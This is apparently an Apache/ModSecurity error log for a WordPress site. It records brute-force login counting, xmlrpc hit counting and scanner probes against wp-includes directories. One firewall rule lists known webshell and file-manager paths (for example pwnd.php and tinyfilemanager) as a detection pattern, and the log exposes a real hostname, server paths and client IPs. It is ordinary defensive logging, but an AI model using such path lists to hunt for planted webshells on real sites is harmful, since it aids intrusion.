[Wed Nov 19 02:41:39.910290 2025] [:error] [pid 43882:tid 43958] [client 52.242.231.141:3246] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRy9495CQQLff3maRMIC-QAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:29:49.359710 2025] [:error] [pid 43882:tid 43947] [client 194.145.209.154:55416] [client 194.145.209.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.209.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzJLd5CQQLff3maRMIb4wAAAAc"]
[Wed Nov 19 03:29:50.704649 2025] [:error] [pid 43882:tid 43941] [client 194.145.209.154:55416] [client 194.145.209.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.209.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzJLt5CQQLff3maRMIb5QAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:38:02.042393 2025] [:error] [pid 43882:tid 43948] [client 198.54.114.73:60644] [client 198.54.114.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLGt5CQQLff3maRMIepQAAAAg"]
[Wed Nov 19 03:38:03.348799 2025] [:error] [pid 43882:tid 43953] [client 198.54.114.73:60644] [client 198.54.114.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLG95CQQLff3maRMIeqQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:38:27.689865 2025] [:error] [pid 43881:tid 43932] [client 63.250.38.26:35748] [client 63.250.38.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLM3_TrIND5buvEycMSgAAAVM"]
[Wed Nov 19 03:38:29.025163 2025] [:error] [pid 43881:tid 43933] [client 63.250.38.26:35748] [client 63.250.38.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLNX_TrIND5buvEycMTQAAAVQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:39:53.089159 2025] [:error] [pid 43882:tid 43955] [client 194.145.209.154:35272] [client 194.145.209.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.209.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLid5CQQLff3maRMIfCQAAAA8"]
[Wed Nov 19 03:39:55.224514 2025] [:error] [pid 43882:tid 43953] [client 194.145.209.154:35272] [client 194.145.209.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.209.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzLi95CQQLff3maRMIfDQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:46:51.582755 2025] [:error] [pid 48893:tid 48971] [client 198.54.126.164:45698] [client 198.54.126.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzNKyVAazpTlfZqVWs9UwAAAIg"]
[Wed Nov 19 03:46:55.340043 2025] [:error] [pid 48893:tid 48968] [client 198.54.126.164:45698] [client 198.54.126.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzNLyVAazpTlfZqVWs9XAAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 03:47:47.216092 2025] [:error] [pid 49000:tid 49012] [client 162.213.251.119:57632] [client 162.213.251.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzNY-rkQ9zQq9gzRNxHNAAAAMY"]
[Wed Nov 19 03:47:48.454146 2025] [:error] [pid 49000:tid 49009] [client 162.213.251.119:57632] [client 162.213.251.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzNZOrkQ9zQq9gzRNxHNgAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 04:14:25.390246 2025] [:error] [pid 26938:tid 26961] [client 95.216.210.205:47228] [client 95.216.210.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.210.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzTocDqph74qewwpgvivgAAANM"]
[Wed Nov 19 04:14:26.937893 2025] [:error] [pid 26938:tid 26942] [client 95.216.210.205:47228] [client 95.216.210.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.210.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzTosDqph74qewwpgviwQAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 04:18:00.298504 2025] [:error] [pid 6556:tid 6622] [client 63.250.38.190:46986] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzUeJuL7hhgrmdM1msy0wAAAIQ"]
[Wed Nov 19 04:18:01.793049 2025] [:error] [pid 6556:tid 6626] [client 63.250.38.190:46986] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzUeZuL7hhgrmdM1msy1wAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 04:21:56.333421 2025] [:error] [pid 6644:tid 6653] [client 63.250.38.180:50950] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzVZE0i6Rf788MB6saMGQAAAMc"]
[Wed Nov 19 04:21:57.747281 2025] [:error] [pid 6644:tid 6669] [client 63.250.38.180:50950] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzVZU0i6Rf788MB6saMIQAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 04:22:02.562868 2025] [:error] [pid 6556:tid 6623] [client 63.250.38.246:42986] [client 63.250.38.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzVapuL7hhgrmdM1msz2gAAAIU"]
[Wed Nov 19 04:22:03.953605 2025] [:error] [pid 6556:tid 6632] [client 63.250.38.246:42986] [client 63.250.38.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzVa5uL7hhgrmdM1msz2wAAAI4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 04:52:26.821678 2025] [:error] [pid 6554:tid 6582] [client 198.54.126.164:33084] [client 198.54.126.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzcit8rvPWLafJFqmUfeAAAABY"]
[Wed Nov 19 04:52:28.009900 2025] [:error] [pid 6554:tid 6576] [client 198.54.126.164:33084] [client 198.54.126.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzcjN8rvPWLafJFqmUfeQAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 05:22:20.358286 2025] [:error] [pid 6919:tid 6933] [client 66.29.153.108:42082] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzjjEYFdN1s_9xJVUljIwAAAQs"]
[Wed Nov 19 05:22:21.893972 2025] [:error] [pid 6919:tid 6942] [client 66.29.153.108:42082] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzjjUYFdN1s_9xJVUljJQAAARQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 05:33:04.489826 2025] [:error] [pid 6556:tid 6637] [client 198.54.120.130:48066] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzmEJuL7hhgrmdM1mtMtwAAAJM"]
[Wed Nov 19 05:33:05.930162 2025] [:error] [pid 6556:tid 6635] [client 198.54.120.130:48066] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzmEZuL7hhgrmdM1mtMuAAAAJE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 06:20:05.660611 2025] [:error] [pid 6556:tid 6630] [client 57.154.71.194:12395] [client 57.154.71.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.154.71.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRzxFZuL7hhgrmdM1mtfYgAAAIw"], referer: https://www.google.fr/
[Wed Nov 19 06:20:22.882395 2025] [:error] [pid 6556:tid 6640] [client 57.154.71.194:12395] [client 57.154.71.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aRzxJpuL7hhgrmdM1mtfewAAAJY"], referer: https://www.google.de/
[Wed Nov 19 06:20:41.465181 2025] [autoindex:error] [pid 6644:tid 6650] [client 57.154.71.194:52866] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Nov 19 06:20:42.560596 2025] [autoindex:error] [pid 6644:tid 6662] [client 57.154.71.194:52866] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Nov 19 06:20:42.717986 2025] [:error] [pid 6644:tid 6664] [client 57.154.71.194:52866] [client 57.154.71.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aRzxOk0i6Rf788MB6sa7BAAAANI"], referer: https://www.google.co.uk/
[Wed Nov 19 06:20:44.794902 2025] [autoindex:error] [pid 6556:tid 6632] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Nov 19 06:20:47.489395 2025] [autoindex:error] [pid 6556:tid 6624] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Nov 19 06:20:47.656420 2025] [autoindex:error] [pid 6556:tid 6620] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Nov 19 06:20:57.201651 2025] [autoindex:error] [pid 6556:tid 6639] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Nov 19 06:20:57.382986 2025] [autoindex:error] [pid 6556:tid 6640] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Nov 19 06:20:57.612052 2025] [autoindex:error] [pid 6556:tid 6635] [client 57.154.71.194:12388] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Nov 19 06:20:57.866688 2025] [:error] [pid 6556:tid 6626] [client 57.154.71.194:12388] [client 57.154.71.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRzxSZuL7hhgrmdM1mtfuwAAAIg"], referer: https://www.google.co.uk/
[Wed Nov 19 06:20:58.538295 2025] [autoindex:error] [pid 6554:tid 6569] [client 57.154.71.194:52897] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Nov 19 06:20:58.726434 2025] [autoindex:error] [pid 6554:tid 6583] [client 57.154.71.194:52897] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Nov 19 06:20:58.911850 2025] [autoindex:error] [pid 6554:tid 6579] [client 57.154.71.194:52897] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Nov 19 06:29:08.108769 2025] [:error] [pid 6644:tid 6654] [client 94.136.184.162:47162] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzzNE0i6Rf788MB6sa_HwAAAMg"]
[Wed Nov 19 06:29:09.291535 2025] [:error] [pid 6644:tid 6665] [client 94.136.184.162:47162] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRzzNU0i6Rf788MB6sa_IwAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 06:33:33.406627 2025] [:error] [pid 6554:tid 6565] [client 192.64.117.77:40386] [client 192.64.117.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz0Pd8rvPWLafJFqmVDIQAAAAY"]
[Wed Nov 19 06:33:34.972738 2025] [:error] [pid 6554:tid 6574] [client 192.64.117.77:40386] [client 192.64.117.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz0Pt8rvPWLafJFqmVDJAAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 06:35:07.499676 2025] [:error] [pid 6919:tid 6923] [client 68.65.120.245:42080] [client 68.65.120.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.245, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz0m0YFdN1s_9xJVUmLsAAAAQE"]
[Wed Nov 19 06:35:08.869992 2025] [:error] [pid 6919:tid 6927] [client 68.65.120.245:42080] [client 68.65.120.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.245, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz0nEYFdN1s_9xJVUmLswAAAQU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 06:39:12.928767 2025] [:error] [pid 6919:tid 6924] [client 206.189.230.173:42096] [client 206.189.230.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.230.173, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz1kEYFdN1s_9xJVUmNHgAAAQI"]
[Wed Nov 19 06:39:14.038007 2025] [:error] [pid 6919:tid 6922] [client 206.189.230.173:42096] [client 206.189.230.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.230.173, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz1kkYFdN1s_9xJVUmNIgAAAQA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:20:24.206177 2025] [:error] [pid 6919:tid 6935] [client 152.53.211.118:55440] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.211.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz_OEYFdN1s_9xJVUmkRQAAAQ0"]
[Wed Nov 19 07:20:26.769426 2025] [:error] [pid 6919:tid 6930] [client 152.53.211.118:55440] [client 152.53.211.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.211.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRz_OkYFdN1s_9xJVUmkTQAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:24:58.084148 2025] [:error] [pid 6556:tid 6620] [client 94.136.184.162:41634] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0ASpuL7hhgrmdM1mt41AAAAII"]
[Wed Nov 19 07:24:59.676871 2025] [:error] [pid 6556:tid 6621] [client 94.136.184.162:41634] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0AS5uL7hhgrmdM1mt42AAAAIM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:25:34.691793 2025] [:error] [pid 6919:tid 6932] [client 109.234.164.102:38160] [client 109.234.164.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.164.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR0AbkYFdN1s_9xJVUmnrAAAAQo"]
